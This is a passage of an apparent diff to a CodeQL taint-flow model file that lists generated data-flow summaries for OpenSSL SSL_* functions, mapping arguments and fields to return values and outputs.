"", True, "SSL_client_hello_get0_session_id", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*session_id]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_session_id", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*session_id_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get_extension_order", "(SSL *,uint16_t *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_client_hello_isv2", "(SSL *)", "", "Argument[*0].Field[**clienthello].Field[*isv2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_version", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*client_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_version", "(const SSL *)", "", "Argument[*0].Field[*client_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_connect", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_copy_session_id", "(SSL *,const SSL *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_ct_is_enabled", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_ct_is_enabled", "(const SSL *)", "", "Argument[*0].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_dane_clear_flags", "(SSL *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dane_clear_flags", "(SSL *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_dane_set_flags", "(SSL *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dane_set_flags", "(SSL *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_dane_tlsa_add", "(SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*umask]", "taint", "dfc-generated"] + - ["", "", True, "SSL_do_handshake", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_dup", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_dup", "(SSL *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dup_CA_list", "(const stack_st_X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_alpn_selected", "(const SSL *,const unsigned char **,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_connection", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_connection", "(SSL *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane", "(SSL *)", "", "Argument[*0].Field[**tls].Field[*dane]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane", "(SSL *)", "", "Argument[*0].Field[*dane]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_tlsa", "(SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *)", "", "Argument[*0].Field[*dane].Field[*mdpth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_next_proto_negotiated", "(const SSL *,const unsigned char **,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get0_param", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_param", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_rpk", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer_rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_rpk", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer_rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_scts", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peer_scts", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peername", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peername", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_verified_chain", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_verified_chain", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get1_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get1_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get1_session", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get1_session", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get1_supported_ciphers", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_SSL_CTX", "(const SSL *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_SSL_CTX", "(const SSL *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_all_async_fds", "(SSL *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_all_async_fds", "(SSL *,int *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_async_status", "(SSL *,int *)", "", "Argument[*0].Field[**waitctx].Field[*status]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[*0].Field[**waitctx].Field[*numadd]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[*0].Field[**waitctx].Field[*numdel]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_changed_async_fds", "(SSL *,int *,size_t *,int *,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_ciphers", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_client_random", "(const SSL *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_current_cipher", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_current_cipher", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb", "(SSL *)", "", "Argument[*0].Field[**tls].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb", "(SSL *)", "", "Argument[*0].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get_default_passwd_cb_userdata", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_early_data_status", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_ex_data", "(const SSL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_handshake_rtt", "(const SSL *,uint64_t *)", "", "Argument[*0].Field[*ts_msg_read].Field[*t]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_handshake_rtt", "(const SSL *,uint64_t *)", "", "Argument[*0].Field[*ts_msg_write].Field[*t]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_info_callback", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_info_callback", "(const SSL *)", "", "Argument[*0].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_key_update_type", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*key_update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_key_update_type", "(const SSL *)", "", "Argument[*0].Field[*key_update]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_max_early_data", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_max_early_data", "(const SSL *)", "", "Argument[*0].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_negotiated_client_cert_type", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*client_cert_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_negotiated_server_cert_type", "(const SSL *)", "", "Argument[*0].Field[*ext].Field[*server_cert_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_num_tickets", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_num_tickets", "(const SSL *)", "", "Argument[*0].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_options", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_peer_cert_chain", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer_chain]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_peer_cert_chain", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer_chain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**psk_identity]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*psk_identity]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity_hint", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**psk_identity_hint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_psk_identity_hint", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*psk_identity_hint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_quiet_shutdown", "(const SSL *)", "", "Argument[*0].Field[*quiet_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_rbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_rbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_read_ahead", "(const SSL *)", "", "Argument[*0].Field[*rlayer].Field[*read_ahead]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get_record_padding_callback_arg", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_recv_max_early_data", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_recv_max_early_data", "(const SSL *)", "", "Argument[*0].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_security_callback", "(const SSL *)", "", "Argument[*0].Field[**cert].Field[*sec_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_security_level", "(const SSL *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_selected_srtp_profile", "(SSL *)", "", "Argument[*0].Field[**srtp_profile]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_selected_srtp_profile", "(SSL *)", "", "Argument[*0].Field[*srtp_profile]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_server_random", "(const SSL *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_servername", "(const SSL *,const int)", "", "Argument[*0].Field[*ext].Field[**hostname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_servername", "(const SSL *,const int)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_session", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_session", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_ciphers", "(const SSL *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_shared_ciphers", "(const SSL *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "SSL_get_shared_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_shutdown", "(const SSL *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_sigalgs", "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get_srp_N", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**N]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_N", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*N]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_g", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**g]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_g", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*g]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_userinfo", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_userinfo", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_username", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[**login]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srp_username", "(SSL *)", "", "Argument[*0].Field[*srp_ctx].Field[*login]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_srtp_profiles", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_srtp_profiles", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_ssl_method", "(const SSL *)", "", "Argument[*0].Field[**method]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_ssl_method", "(const SSL *)", "", "Argument[*0].Field[*method]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_state", "(const SSL *)", "", "Argument[*0].Field[*statem].Field[*hand_state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_callback", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_callback", "(const SSL *)", "", "Argument[*0].Field[*verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_depth", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_verify_mode", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_mode", "(const SSL *)", "", "Argument[*0].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_result", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*verify_result]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_verify_result", "(const SSL *)", "", "Argument[*0].Field[*verify_result]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_wbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get_wbio", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_in_init", "(const SSL *)", "", "Argument[*0].Field[*statem].Field[*in_init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_inject_net_dgram", "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_inject_net_dgram", "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_is_server", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*server]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_is_server", "(const SSL *)", "", "Argument[*0].Field[*server]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_key_update", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*key_update]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_domain", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_listener", "(SSL_CTX *,uint64_t)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_new_listener_from", "(SSL *,uint64_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_peek", "(SSL *,void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_peek_ex", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_poll", "(SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_read", "(SSL *,void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_read_early_data", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_read_ex", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_renegotiate_pending", "(const SSL *)", "", "Argument[*0].Field[*renegotiate]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*4]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_select_next_proto", "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_session_reused", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*hit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_session_reused", "(const SSL *)", "", "Argument[*0].Field[*hit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_rbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_rbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[**cert].Field[***sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_security_ex_data", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_tmp_dh_pkey", "(SSL *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**bbio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[**bbio].Field[*next_bio]", "value", 